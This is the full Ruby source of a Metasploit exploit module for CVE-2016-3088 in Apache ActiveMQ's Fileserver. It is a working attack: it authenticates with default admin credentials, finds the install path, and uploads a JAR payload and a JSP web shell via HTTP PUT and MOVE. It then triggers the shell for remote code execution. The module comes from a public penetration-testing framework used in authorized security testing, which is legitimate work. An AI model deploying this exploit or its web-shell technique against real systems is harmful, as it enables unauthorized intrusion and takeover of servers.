## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ActiveMQ web shell upload', 'Description' => %q( The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request. ), 'Author' => [ 'Ian Anderson ', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-3088' ], [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ] ], 'Privileged' => true, 'Platform' => %w{ java linux win }, 'Targets' => [ [ 'Java Universal', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ], [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ] ], 'DisclosureDate' => "Jun 01 2016", 'DefaultTarget' => 0)) register_options( [ OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]), OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]), OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]), Opt::RPORT(8161) ]) register_advanced_options( [ OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil]) ]) end def jsp_text(payload_name) %{ <%@ page import="java.io.*" %><%@ page import="java.net.*" %><% URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()}); Class c = cl.loadClass("metasploit.Payload"); c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); %>} end def exploit jar_payload = payload.encoded_jar.pack payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) host = "#{datastore['RHOST']}:#{datastore['RPORT']}" @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}" paths = get_upload_paths paths.each do |path| if try_upload(path, jar_payload, payload_name) break handler if trigger_payload(payload_name) print_error('Unable to trigger payload') end end end def try_upload(path, jar_payload, payload_name) ['.jar', '.jsp'].each do |ext| file_name = payload_name + ext data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" } upload_uri = normalize_uri('fileserver', file_name) print_status("Uploading #{move_headers['Destination']}") register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true') return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) && send_request('MOVE', upload_uri, 204, 'headers' => move_headers) @trigger_resource = /webapps(.*)/.match(path)[1] end true end def get_upload_paths base_path = "#{get_install_path}/webapps" custom_path = datastore['UploadPath'] return [normalize_uri(base_path, custom_path)] unless custom_path.nil? [ "#{base_path}/api/", "#{base_path}/admin/" ] end def get_install_path properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*([^@]+)<\/td>/) return match[1] unless match.nil? end def send_request(method, uri, expected_response = 200, opts = {}) opts['headers'] ||= {} opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass']) opts['headers']['Connection'] = 'close' r = send_request_cgi( { 'method' => method, 'uri' => uri }.merge(opts) ) return false if r.nil? || expected_response != r.code.to_i r end def trigger_payload(payload_name) send_request('POST', @url + @trigger_resource + payload_name + '.jsp') end def error_out print_error('Upload failed') @trigger_resource = nil false end end